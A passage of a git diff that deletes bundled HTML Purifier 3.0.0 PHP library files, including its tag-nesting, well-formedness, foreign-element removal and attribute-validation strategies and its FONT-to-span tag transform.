- ksort($array); - $list = array(); - foreach ($array as $discard => $obj) { - $list[] = $this->getClass($obj, 'AttrTransform_'); - } - return $this->listify($list); - } - - /** - * Listifies a hash of attributes to AttrDef classes - * @param $array Array hash in form of array('attrname' => HTMLPurifier_AttrDef) - */ - protected function listifyAttr($array) { - ksort($array); - $list = array(); - foreach ($array as $name => $obj) { - if ($obj === false) continue; - $list[] = "$name&nbsp;=&nbsp;<i>" . $this->getClass($obj, 'AttrDef_') . '</i>'; - } - return $this->listify($list); - } - - /** - * Creates a heavy header row - */ - protected function heavyHeader($text, $num = 1) { - $ret = ''; - $ret .= $this->start('tr'); - $ret .= $this->element('th', $text, array('colspan' => $num, 'class' => 'heavy')); - $ret .= $this->end('tr'); - return $ret; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy.php deleted file mode 100644 index 974f685..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy.php +++ /dev/null @@ -1,30 +0,0 @@ -<?php - -/** - * Supertype for classes that define a strategy for modifying/purifying tokens. - * - * While HTMLPurifier's core purpose is fixing HTML into something proper, - * strategies provide plug points for extra configuration or even extra - * features, such as custom tags, custom parsing of text, etc. - */ - -HTMLPurifier_ConfigSchema::define( - 'Core', 'EscapeInvalidTags', false, 'bool', - 'When true, invalid tags will be written back to the document as plain '. - 'text. Otherwise, they are silently dropped.' -); - -abstract class HTMLPurifier_Strategy -{ - - /** - * Executes the strategy on the tokens. - * - * @param $tokens Array of HTMLPurifier_Token objects to be operated on. - * @param $config Configuration options - * @returns Processed array of token objects. - */ - abstract public function execute($tokens, $config, $context); - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/Composite.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/Composite.php deleted file mode 100644 index 46ae25b..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/Composite.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Strategy.php'; -require_once 'HTMLPurifier/Config.php'; - -/** - * Composite strategy that runs multiple strategies on tokens. - */ -abstract class HTMLPurifier_Strategy_Composite extends HTMLPurifier_Strategy -{ - - /** - * List of strategies to run tokens through. - */ - protected $strategies = array(); - - abstract public function __construct(); - - public function execute($tokens, $config, $context) { - foreach ($this->strategies as $strategy) { - $tokens = $strategy->execute($tokens, $config, $context); - } - return $tokens; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/Core.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/Core.php deleted file mode 100644 index 26b31a3..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/Core.php +++ /dev/null @@ -1,24 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Strategy/Composite.php'; - -require_once 'HTMLPurifier/Strategy/RemoveForeignElements.php'; -require_once 'HTMLPurifier/Strategy/MakeWellFormed.php'; -require_once 'HTMLPurifier/Strategy/FixNesting.php'; -require_once 'HTMLPurifier/Strategy/ValidateAttributes.php'; - -/** - * Core strategy composed of the big four strategies. - */ -class HTMLPurifier_Strategy_Core extends HTMLPurifier_Strategy_Composite -{ - - public function __construct() { - $this->strategies[] = new HTMLPurifier_Strategy_RemoveForeignElements(); - $this->strategies[] = new HTMLPurifier_Strategy_MakeWellFormed(); - $this->strategies[] = new HTMLPurifier_Strategy_FixNesting(); - $this->strategies[] = new HTMLPurifier_Strategy_ValidateAttributes(); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/FixNesting.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/FixNesting.php deleted file mode 100644 index 14e7ab8..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/FixNesting.php +++ /dev/null @@ -1,331 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Strategy.php'; -require_once 'HTMLPurifier/HTMLDefinition.php'; - -/** - * Takes a well formed list of tokens and fixes their nesting. - * - * HTML elements dictate which elements are allowed to be their children, - * for example, you can't have a p tag in a span tag. Other elements have - * much more rigorous definitions: tables, for instance, require a specific - * order for their elements. There are also constraints not expressible by - * document type definitions, such as the chameleon nature of ins/del - * tags and global child exclusions. - * - * The first major objective of this strategy is to iterate through all the - * nodes (not tokens) of the list of tokens and determine whether or not - * their children conform to the element's definition. If they do not, the - * child definition may optionally supply an amended list of elements that - * is valid or require that the entire node be deleted (and the previous - * node rescanned). - * - * The second objective is to ensure that explicitly excluded elements of - * an element do not appear in its children. Code that accomplishes this - * task is pervasive through the strategy, though the two are distinct tasks - * and could, theoretically, be seperated (although it's not recommended). - * - * @note Whether or not unrecognized children are silently dropped or - * translated into text depends on the child definitions. - * - * @todo Enable nodes to be bubbled out of the structure. - */ - -class HTMLPurifier_Strategy_FixNesting extends HTMLPurifier_Strategy -{ - - public function execute($tokens, $config, $context) { - //####################################################################// - // Pre-processing - - // get a copy of the HTML definition - $definition = $config->getHTMLDefinition(); - - // insert implicit "parent" node, will be removed at end. - // DEFINITION CALL - $parent_name = $definition->info_parent; - array_unshift($tokens, new HTMLPurifier_Token_Start($parent_name)); - $tokens[] = new HTMLPurifier_Token_End($parent_name); - - // setup the context variable 'IsInline', for chameleon processing - // is 'false' when we are not inline, 'true' when it must always - // be inline, and an integer when it is inline for a certain - // branch of the document tree - $is_inline = $definition->info_parent_def->descendants_are_inline; - $context->register('IsInline', $is_inline); - - // setup error collector - $e =& $context->get('ErrorCollector', true); - - //####################################################################// - // Loop initialization - - // stack that contains the indexes of all parents, - // $stack[count($stack)-1] being the current parent - $stack = array(); - - // stack that contains all elements that are excluded - // it is organized by parent elements, similar to $stack, - // but it is only populated when an element with exclusions is - // processed, i.e. there won't be empty exclusions. - $exclude_stack = array(); - - // variable that contains the start token while we are processing - // nodes. This enables error reporting to do its job - $start_token = false; - $context->register('CurrentToken', $start_token); - - //####################################################################// - // Loop - - // iterate through all start nodes. Determining the start node - // is complicated so it has been omitted from the loop construct - for ($i = 0, $size = count($tokens) ; $i < $size; ) { - - //################################################################// - // Gather information on children - - // child token accumulator - $child_tokens = array(); - - // scroll to the end of this node, report number, and collect - // all children - for ($j = $i, $depth = 0; ; $j++) { - if ($tokens[$j]->type == 'start') { - $depth++; - // skip token assignment on first iteration, this is the - // token we currently are on - if ($depth == 1) continue; - } elseif ($tokens[$j]->type == 'end') { - $depth--; - // skip token assignment on last iteration, this is the - // end token of the token we're currently on - if ($depth == 0) break; - } - $child_tokens[] = $tokens[$j]; - } - - // $i is index of start token - // $j is index of end token - - $start_token = $tokens[$i]; // to make token available via CurrentToken - - //################################################################// - // Gather information on parent - - // calculate parent information - if ($count = count($stack)) { - $parent_index = $stack[$count-1]; - $parent_name = $tokens[$parent_index]->name; - if ($parent_index == 0) { - $parent_def = $definition->info_parent_def; - } else { - $parent_def = $definition->info[$parent_name]; - } - } else { - // processing as if the parent were the "root" node - // unknown info, it won't be used anyway, in the future, - // we may want to enforce one element only (this is - // necessary for HTML Purifier to clean entire documents - $parent_index = $parent_name = $parent_def = null; - } - - // calculate context - if ($is_inline === false) { - // check if conditions make it inline - if (!empty($parent_def) && $parent_def->descendants_are_inline) { - $is_inline = $count - 1; - } - } else { - // check if we're out of inline - if ($count === $is_inline) { - $is_inline = false; - } - } - - //################################################################// - // Determine whether element is explicitly excluded SGML-style - - // determine whether or not element is excluded by checking all - // parent exclusions. The array should not be very large, two - // elements at most. - $excluded = false; - if (!empty($exclude_stack)) { - foreach ($exclude_stack as $lookup) { - if (isset($lookup[$tokens[$i]->name])) { - $excluded = true; - // no need to continue processing - break; - } - } - } - - //################################################################// - // Perform child validation - - if ($excluded) { - // there is an exclusion, remove the entire node - $result = false; - $excludes = array(); // not used, but good to initialize anyway - } else { - // DEFINITION CALL - if ($i === 0) { - // special processing for the first node - $def = $definition->info_parent_def; - } else { - $def = $definition->info[$tokens[$i]->name]; - - } - - if (!empty($def->child)) { - // have DTD child def validate children - $result = $def->child->validateChildren( - $child_tokens, $config, $context); - } else { - // weird, no child definition, get rid of everything - $result = false; - } - - // determine whether or not this element has any exclusions - $excludes = $def->excludes; - } - - // $result is now a bool or array - - //################################################################// - // Process result by interpreting $result - - if ($result === true || $child_tokens === $result) { - // leave the node as is - - // register start token as a parental node start - $stack[] = $i; - - // register exclusions if there are any - if (!empty($excludes)) $exclude_stack[] = $excludes; - - // move cursor to next possible start node - $i++; - - } elseif($result === false) { - // remove entire node - - if ($e) { - if ($excluded) { - $e->send(E_ERROR, 'Strategy_FixNesting: Node excluded'); - } else { - $e->send(E_ERROR, 'Strategy_FixNesting: Node removed'); - } - } - - // calculate length of inner tokens and current tokens - $length = $j - $i + 1; - - // perform removal - array_splice($tokens, $i, $length); - - // update size - $size -= $length; - - // there is no start token to register, - // current node is now the next possible start node - // unless it turns out that we need to do a double-check - - // this is a rought heuristic that covers 100% of HTML's - // cases and 99% of all other cases. A child definition - // that would be tricked by this would be something like: - // ( | a b c) where it's all or nothing. Fortunately, - // our current implementation claims that that case would - // not allow empty, even if it did - if (!$parent_def->child->allow_empty) { - // we need to do a double-check - $i = $parent_index; - array_pop($stack); - } - - // PROJECTED OPTIMIZATION: Process all children elements before - // reprocessing parent node. - - } else { - // replace node with $result - - // calculate length of inner tokens - $length = $j - $i - 1; - - if ($e) { - if (empty($result) && $length) { - $e->send(E_ERROR, 'Strategy_FixNesting: Node contents removed'); - } else { - $e->send(E_WARNING, 'Strategy_FixNesting: Node reorganized'); - } - } - - // perform replacement - array_splice($tokens, $i + 1, $length, $result); - - // update size - $size -= $length; - $size += count($result); - - // register start token as a parental node start - $stack[] = $i; - - // register exclusions if there are any - if (!empty($excludes)) $exclude_stack[] = $excludes; - - // move cursor to next possible start node - $i++; - - } - - //################################################################// - // Scroll to next start node - - // We assume, at this point, that $i is the index of the token - // that is the first possible new start point for a node. - - // Test if the token indeed is a start tag, if not, move forward - // and test again. - $size = count($tokens); - while ($i < $size and $tokens[$i]->type != 'start') { - if ($tokens[$i]->type == 'end') { - // pop a token index off the stack if we ended a node - array_pop($stack); - // pop an exclusion lookup off exclusion stack if - // we ended node and that node had exclusions - if ($i == 0 || $i == $size - 1) { - // use specialized var if it's the super-parent - $s_excludes = $definition->info_parent_def->excludes; - } else { - $s_excludes = $definition->info[$tokens[$i]->name]->excludes; - } - if ($s_excludes) { - array_pop($exclude_stack); - } - } - $i++; - } - - } - - //####################################################################// - // Post-processing - - // remove implicit parent tokens at the beginning and end - array_shift($tokens); - array_pop($tokens); - - // remove context variables - $context->destroy('IsInline'); - $context->destroy('CurrentToken'); - - //####################################################################// - // Return - - return $tokens; - - } - -} - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/MakeWellFormed.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/MakeWellFormed.php deleted file mode 100644 index 81ad42e..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/MakeWellFormed.php +++ /dev/null @@ -1,317 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Strategy.php'; -require_once 'HTMLPurifier/HTMLDefinition.php'; -require_once 'HTMLPurifier/Generator.php'; - -require_once 'HTMLPurifier/Injector/AutoParagraph.php'; -require_once 'HTMLPurifier/Injector/Linkify.php'; -require_once 'HTMLPurifier/Injector/PurifierLinkify.php'; - -HTMLPurifier_ConfigSchema::define( - 'AutoFormat', 'Custom', array(), 'list', ' -<p> - This directive can be used to add custom auto-format injectors. - Specify an array of injector names (class name minus the prefix) - or concrete implementations. Injector class must exist. This directive - has been available since 2.0.1. -</p> -' -); - -/** - * Takes tokens makes them well-formed (balance end tags, etc.) - */ -class HTMLPurifier_Strategy_MakeWellFormed extends HTMLPurifier_Strategy -{ - - /** - * Locally shared variable references - */ - protected $inputTokens, $inputIndex, $outputTokens, $currentNesting, - $currentInjector, $injectors; - - public function execute($tokens, $config, $context) { - - $definition = $config->getHTMLDefinition(); - - // local variables - $result = array(); - $generator = new HTMLPurifier_Generator(); - $escape_invalid_tags = $config->get('Core', 'EscapeInvalidTags'); - $e = $context->get('ErrorCollector', true); - - // member variables - $this->currentNesting = array(); - $this->inputIndex = false; - $this->inputTokens =& $tokens; - $this->outputTokens =& $result; - - // context variables - $context->register('CurrentNesting', $this->currentNesting); - $context->register('InputIndex', $this->inputIndex); - $context->register('InputTokens', $tokens); - - // -- begin INJECTOR -- - - $this->injectors = array(); - - $injectors = $config->getBatch('AutoFormat'); - $custom_injectors = $injectors['Custom']; - unset($injectors['Custom']); // special case - foreach ($injectors as $injector => $b) { - $injector = "HTMLPurifier_Injector_$injector"; - if (!$b) continue; - $this->injectors[] = new $injector; - } - foreach ($custom_injectors as $injector) { - if (is_string($injector)) { - $injector = "HTMLPurifier_Injector_$injector"; - $injector = new $injector; - } - $this->injectors[] = $injector; - } - - // array index of the injector that resulted in an array - // substitution. This enables processTokens() to know which - // injectors are affected by the added tokens and which are - // not (namely, the ones after the current injector are not - // affected) - $this->currentInjector = false; - - // give the injectors references to the definition and context - // variables for performance reasons - foreach ($this->injectors as $i => $injector) { - $error = $injector->prepare($config, $context); - if (!$error) continue; - array_splice($this->injectors, $i, 1); // rm the injector - trigger_error("Cannot enable {$injector->name} injector because $error is not allowed", E_USER_WARNING); - } - - // warning: most foreach loops follow the convention $i => $injector. - // Don't define these as loop-wide variables, please! - - // -- end INJECTOR -- - - $token = false; - $context->register('CurrentToken', $token); - - // isset is in loop because $tokens size changes during loop exec - for ($this->inputIndex = 0; isset($tokens[$this->inputIndex]); $this->inputIndex++) { - - // if all goes well, this token will be passed through unharmed - $token = $tokens[$this->inputIndex]; - - //printTokens($tokens, $this->inputIndex); - - foreach ($this->injectors as $injector) { - if ($injector->skip > 0) $injector->skip--; - } - - // quick-check: if it's not a tag, no need to process - if (empty( $token->is_tag )) { - if ($token->type === 'text') { - // injector handler code; duplicated for performance reasons - foreach ($this->injectors as $i => $injector) { - if (!$injector->skip) $injector->handleText($token); - if (is_array($token)) { - $this->currentInjector = $i; - break; - } - } - } - $this->processToken($token, $config, $context); - continue; - } - - $info = $definition->info[$token->name]->child; - - // quick tag checks: anything that's *not* an end tag - $ok = false; - if ($info->type == 'empty' && $token->type == 'start') { - // test if it claims to be a start tag but is empty - $token = new HTMLPurifier_Token_Empty($token->name, $token->attr); - $ok = true; - } elseif ($info->type != 'empty' && $token->type == 'empty' ) { - // claims to be empty but really is a start tag - $token = array( - new HTMLPurifier_Token_Start($token->name, $token->attr), - new HTMLPurifier_Token_End($token->name) - ); - $ok = true; - } elseif ($token->type == 'empty') { - // real empty token - $ok = true; - } elseif ($token->type == 'start') { - // start tag - - // ...unless they also have to close their parent - if (!empty($this->currentNesting)) { - - $parent = array_pop($this->currentNesting); - $parent_info = $definition->info[$parent->name]; - - // this can be replaced with a more general algorithm: - // if the token is not allowed by the parent, auto-close - // the parent - if (!isset($parent_info->child->elements[$token->name])) { - if ($e) $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', $parent); - // close the parent, then append the token - $result[] = new HTMLPurifier_Token_End($parent->name); - $result[] = $token; - $this->currentNesting[] = $token; - continue; - } - - $this->currentNesting[] = $parent; // undo the pop - } - $ok = true; - } - - // injector handler code; duplicated for performance reasons - if ($ok) { - foreach ($this->injectors as $i => $injector) { - if (!$injector->skip) $injector->handleElement($token); - if (is_array($token)) { - $this->currentInjector = $i; - break; - } - } - $this->processToken($token, $config, $context); - continue; - } - - // sanity check: we should be dealing with a closing tag - if ($token->type != 'end') continue; - - // make sure that we have something open - if (empty($this->currentNesting)) { - if ($escape_invalid_tags) { - if ($e) $e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text'); - $result[] = new HTMLPurifier_Token_Text( - $generator->generateFromToken($token, $config, $context) - ); - } elseif ($e) { - $e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed'); - } - continue; - } - - // first, check for the simplest case: everything closes neatly - $current_parent = array_pop($this->currentNesting); - if ($current_parent->name == $token->name) { - $result[] = $token; - foreach ($this->injectors as $i => $injector) { - $injector->notifyEnd($token); - } - continue; - } - - // okay, so we're trying to close the wrong tag - - // undo the pop previous pop - $this->currentNesting[] = $current_parent; - - // scroll back the entire nest, trying to find our tag. - // (feature could be to specify how far you'd like to go) - $size = count($this->currentNesting); - // -2 because -1 is the last element, but we already checked that - $skipped_tags = false; - for ($i = $size - 2; $i >= 0; $i--) { - if ($this->currentNesting[$i]->name == $token->name) { - // current nesting is modified - $skipped_tags = array_splice($this->currentNesting, $i); - break; - } - } - - // we still didn't find the tag, so remove - if ($skipped_tags === false) { - if ($escape_invalid_tags) { - $result[] = new HTMLPurifier_Token_Text( - $generator->generateFromToken($token, $config, $context) - ); - if ($e) $e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text'); - } elseif ($e) { - $e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed'); - } - continue; - } - - // okay, we found it, close all the skipped tags - // note that skipped tags contains the element we need closed - for ($i = count($skipped_tags) - 1; $i >= 0; $i--) { - // please don't redefine $i! - if ($i && $e && !isset($skipped_tags[$i]->armor['MakeWellFormed_TagClosedError'])) { - $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', $skipped_tags[$i]); - } - $result[] = $new_token = new HTMLPurifier_Token_End($skipped_tags[$i]->name); - foreach ($this->injectors as $injector) { - $injector->notifyEnd($new_token); - } - } - - } - - $context->destroy('CurrentNesting'); - $context->destroy('InputTokens'); - $context->destroy('InputIndex'); - $context->destroy('CurrentToken'); - - // we're at the end now, fix all still unclosed tags (this is - // duplicated from the end of the loop with some slight modifications) - // not using $skipped_tags since it would invariably be all of them - if (!empty($this->currentNesting)) { - for ($i = count($this->currentNesting) - 1; $i >= 0; $i--) { - // please don't redefine $i! - if ($e && !isset($this->currentNesting[$i]->armor['MakeWellFormed_TagClosedError'])) { - $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', $this->currentNesting[$i]); - } - $result[] = $new_token = new HTMLPurifier_Token_End($this->currentNesting[$i]->name); - foreach ($this->injectors as $injector) { - $injector->notifyEnd($new_token); - } - } - } - - unset($this->outputTokens, $this->injectors, $this->currentInjector, - $this->currentNesting, $this->inputTokens, $this->inputIndex); - - return $result; - } - - function processToken($token, $config, $context) { - if (is_array($token)) { - // the original token was overloaded by an injector, time - // to some fancy acrobatics - - // $this->inputIndex is decremented so that the entire set gets - // re-processed - array_splice($this->inputTokens, $this->inputIndex--, 1, $token); - - // adjust the injector skips based on the array substitution - if ($this->injectors) { - $offset = count($token); - for ($i = 0; $i <= $this->currentInjector; $i++) { - // because of the skip back, we need to add one more - // for uninitialized injectors. I'm not exactly - // sure why this is the case, but I think it has to - // do with the fact that we're decrementing skips - // before re-checking text - if (!$this->injectors[$i]->skip) $this->injectors[$i]->skip++; - $this->injectors[$i]->skip += $offset; - } - } - } elseif ($token) { - // regular case - $this->outputTokens[] = $token; - if ($token->type == 'start') { - $this->currentNesting[] = $token; - } elseif ($token->type == 'end') { - array_pop($this->currentNesting); // not actually used - } - } - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/RemoveForeignElements.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/RemoveForeignElements.php deleted file mode 100644 index 8c39f9a..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/RemoveForeignElements.php +++ /dev/null @@ -1,194 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Strategy.php'; -require_once 'HTMLPurifier/HTMLDefinition.php'; -require_once 'HTMLPurifier/Generator.php'; -require_once 'HTMLPurifier/TagTransform.php'; - -require_once 'HTMLPurifier/AttrValidator.php'; - -HTMLPurifier_ConfigSchema::define( - 'Core', 'RemoveInvalidImg', true, 'bool', ' -<p> - This directive enables pre-emptive URI checking in <code>img</code> - tags, as the attribute validation strategy is not authorized to - remove elements from the document. This directive has been available - since 1.3.0, revert to pre-1.3.0 behavior by setting to false. -</p> -' -); - -HTMLPurifier_ConfigSchema::define( - 'Core', 'RemoveScriptContents', null, 'bool/null', ' -<p> - This directive enables HTML Purifier to remove not only script tags - but all of their contents. This directive has been deprecated since 2.1.0, - and when not set the value of %Core.HiddenElements will take - precedence. This directive has been available since 2.0.0, and can be used to - revert to pre-2.0.0 behavior by setting it to false. -</p> -' -); - -HTMLPurifier_ConfigSchema::define( - 'Core', 'HiddenElements', array('script' => true, 'style' => true), 'lookup', ' -<p> - This directive is a lookup array of elements which should have their - contents removed when they are not allowed by the HTML definition. - For example, the contents of a <code>script</code> tag are not - normally shown in a document, so if script tags are to be removed, - their contents should be removed to. This is opposed to a <code>b</code> - tag, which defines some presentational changes but does not hide its - contents. -</p> -' -); - -/** - * Removes all unrecognized tags from the list of tokens. - * - * This strategy iterates through all the tokens and removes unrecognized - * tokens. If a token is not recognized but a TagTransform is defined for - * that element, the element will be transformed accordingly. - */ - -class HTMLPurifier_Strategy_RemoveForeignElements extends HTMLPurifier_Strategy -{ - - public function execute($tokens, $config, $context) { - $definition = $config->getHTMLDefinition(); - $generator = new HTMLPurifier_Generator(); - $result = array(); - - $escape_invalid_tags = $config->get('Core', 'EscapeInvalidTags'); - $remove_invalid_img = $config->get('Core', 'RemoveInvalidImg'); - - $remove_script_contents = $config->get('Core', 'RemoveScriptContents'); - $hidden_elements = $config->get('Core', 'HiddenElements'); - - // remove script contents compatibility - if ($remove_script_contents === true) { - $hidden_elements['script'] = true; - } elseif ($remove_script_contents === false && isset($hidden_elements['script'])) { - unset($hidden_elements['script']); - } - - $attr_validator = new HTMLPurifier_AttrValidator(); - - // removes tokens until it reaches a closing tag with its value - $remove_until = false; - - // converts comments into text tokens when this is equal to a tag name - $textify_comments = false; - - $token = false; - $context->register('CurrentToken', $token); - - $e = false; - if ($config->get('Core', 'CollectErrors')) { - $e =& $context->get('ErrorCollector'); - } - - foreach($tokens as $token) { - if ($remove_until) { - if (empty($token->is_tag) || $token->name !== $remove_until) { - continue; - } - } - if (!empty( $token->is_tag )) { - // DEFINITION CALL - - // before any processing, try to transform the element - if ( - isset($definition->info_tag_transform[$token->name]) - ) { - $original_name = $token->name; - // there is a transformation for this tag - // DEFINITION CALL - $token = $definition-> - info_tag_transform[$token->name]-> - transform($token, $config, $context); - if ($e) $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', $original_name); - } - - if (isset($definition->info[$token->name])) { - - // mostly everything's good, but - // we need to make sure required attributes are in order - if ( - ($token->type === 'start' || $token->type === 'empty') && - $definition->info[$token->name]->required_attr && - ($token->name != 'img' || $remove_invalid_img) // ensure config option still works - ) { - $attr_validator->validateToken($token, $config, $context); - $ok = true; - foreach ($definition->info[$token->name]->required_attr as $name) { - if (!isset($token->attr[$name])) { - $ok = false; - break; - } - } - if (!$ok) { - if ($e) $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Missing required attribute', $name); - continue; - } - $token->armor['ValidateAttributes'] = true; - } - - if (isset($hidden_elements[$token->name]) && $token->type == 'start') { - $textify_comments = $token->name; - } elseif ($token->name === $textify_comments && $token->type == 'end') { - $textify_comments = false; - } - - } elseif ($escape_invalid_tags) { - // invalid tag, generate HTML representation and insert in - if ($e) $e->send(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text'); - $token = new HTMLPurifier_Token_Text( - $generator->generateFromToken($token, $config, $context) - ); - } else { - // check if we need to destroy all of the tag's children - // CAN BE GENERICIZED - if (isset($hidden_elements[$token->name])) { - if ($token->type == 'start') { - $remove_until = $token->name; - } elseif ($token->type == 'empty') { - // do nothing: we're still looking - } else { - $remove_until = false; - } - if ($e) $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed'); - } else { - if ($e) $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed'); - } - continue; - } - } elseif ($token->type == 'comment') { - // textify comments in script tags when they are allowed - if ($textify_comments !== false) { - $data = $token->data; - $token = new HTMLPurifier_Token_Text($data); - } else { - // strip comments - if ($e) $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); - continue; - } - } elseif ($token->type == 'text') { - } else { - continue; - } - $result[] = $token; - } - if ($remove_until && $e) { - // we removed tokens until the end, throw error - $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', $remove_until); - } - - $context->destroy('CurrentToken'); - - return $result; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/ValidateAttributes.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/ValidateAttributes.php deleted file mode 100644 index 8cb42fb..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Strategy/ValidateAttributes.php +++ /dev/null @@ -1,44 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Strategy.php'; -require_once 'HTMLPurifier/HTMLDefinition.php'; -require_once 'HTMLPurifier/IDAccumulator.php'; - -require_once 'HTMLPurifier/AttrValidator.php'; - -/** - * Validate all attributes in the tokens. - */ - -class HTMLPurifier_Strategy_ValidateAttributes extends HTMLPurifier_Strategy -{ - - public function execute($tokens, $config, $context) { - - // setup validator - $validator = new HTMLPurifier_AttrValidator(); - - $token = false; - $context->register('CurrentToken', $token); - - foreach ($tokens as $key => $token) { - - // only process tokens that have attributes, - // namely start and empty tags - if ($token->type !== 'start' && $token->type !== 'empty') continue; - - // skip tokens that are armored - if (!empty($token->armor['ValidateAttributes'])) continue; - - // note that we have no facilities here for removing tokens - $validator->validateToken($token, $config, $context); - - $tokens[$key] = $token; // for PHP 4 - } - $context->destroy('CurrentToken'); - - return $tokens; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform.php deleted file mode 100644 index 34413dd..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform.php +++ /dev/null @@ -1,37 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Token.php'; - -/** - * Defines a mutation of an obsolete tag into a valid tag. - */ -abstract class HTMLPurifier_TagTransform -{ - - /** - * Tag name to transform the tag to. - */ - public $transform_to; - - /** - * Transforms the obsolete tag into the valid tag. - * @param $tag Tag to be transformed. - * @param $config Mandatory HTMLPurifier_Config object - * @param $context Mandatory HTMLPurifier_Context object - */ - abstract public function transform($tag, $config, $context); - - /** - * Prepends CSS properties to the style attribute, creating the - * attribute if it doesn't exist. - * @warning Copied over from AttrTransform, be sure to keep in sync - * @param $attr Attribute array to process (passed by reference) - * @param $css CSS to prepend - */ - protected function prependCSS(&$attr, $css) { - $attr['style'] = isset($attr['style']) ? $attr['style'] : ''; - $attr['style'] = $css . $attr['style']; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform/Font.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform/Font.php deleted file mode 100644 index 607199e..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform/Font.php +++ /dev/null @@ -1,94 +0,0 @@ -<?php - -require_once 'HTMLPurifier/TagTransform.php'; - -/** - * Transforms FONT tags to the proper form (SPAN with CSS styling) - * - * This transformation takes the three proprietary attributes of FONT and - * transforms them into their corresponding CSS attributes. These are color, - * face, and size. - * - * @note Size is an interesting case because it doesn't map cleanly to CSS. - * Thanks to - * http://style.cleverchimp.com/font_size_intervals/altintervals.html - * for reasonable mappings. - */ -class HTMLPurifier_TagTransform_Font extends HTMLPurifier_TagTransform -{ - - public $transform_to = 'span'; - - protected $_size_lookup = array( - '0' => 'xx-small', - '1' => 'xx-small', - '2' => 'small', - '3' => 'medium', - '4' => 'large', - '5' => 'x-large', - '6' => 'xx-large', - '7' => '300%', - '-1' => 'smaller', - '-2' => '60%', - '+1' => 'larger', - '+2' => '150%', - '+3' => '200%', - '+4' => '300%' - ); - - public function transform($tag, $config, $context) { - - if ($tag->type == 'end') { - $new_tag = $tag->copy(); - $new_tag->name = $this->transform_to; - return $new_tag; - } - - $attr = $tag->attr; - $prepend_style = ''; - - // handle color transform - if (isset($attr['color'])) { - $prepend_style .= 'color:' . $attr['color'] . ';'; - unset($attr['color']); - } - - // handle face transform - if (isset($attr['face'])) { - $prepend_style .= 'font-family:' . $attr['face'] . ';'; - unset($attr['face']); - } - - // handle size transform - if (isset($attr['size'])) { - // normalize large numbers - if ($attr['size']{0} == '+' || $attr['size']{0} == '-') { - $size = (int) $attr['size']; - if ($size < -2) $attr['size'] = '-2'; - if ($size > 4) $attr['size'] = '+4'; - } else { - $size = (int) $attr['size']; - if ($size > 7) $attr['size'] = '7'; - } - if (isset($this->_size_lookup[$attr['size']])) { - $prepend_style .= 'font-size:' . - $this->_size_lookup[$attr['size']] . ';'; - } - unset($attr['size']); - } - - if ($prepend_style) { - $attr['style'] = isset($attr['style']) ? - $prepend_style . $attr['style'] : - $prepend_style; - } - - $new_tag = $tag->copy(); - $new_tag->name = $this->transform_to; - $new_tag->attr = $attr; - - return $new_tag; - - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform/Simple.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform/Simple.php deleted file mode 100644 index d1e52ba..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/TagTransform/Simple.php +++ /dev/null @@ -1,36 +0,0 @@ -<?php - -require_once 'HTMLPurifier/TagTransform.php'; - -/** - * Simple transformation, just change tag name to something else, - * and possibly add some styling. This will cover most of the deprecated - * tag cases. 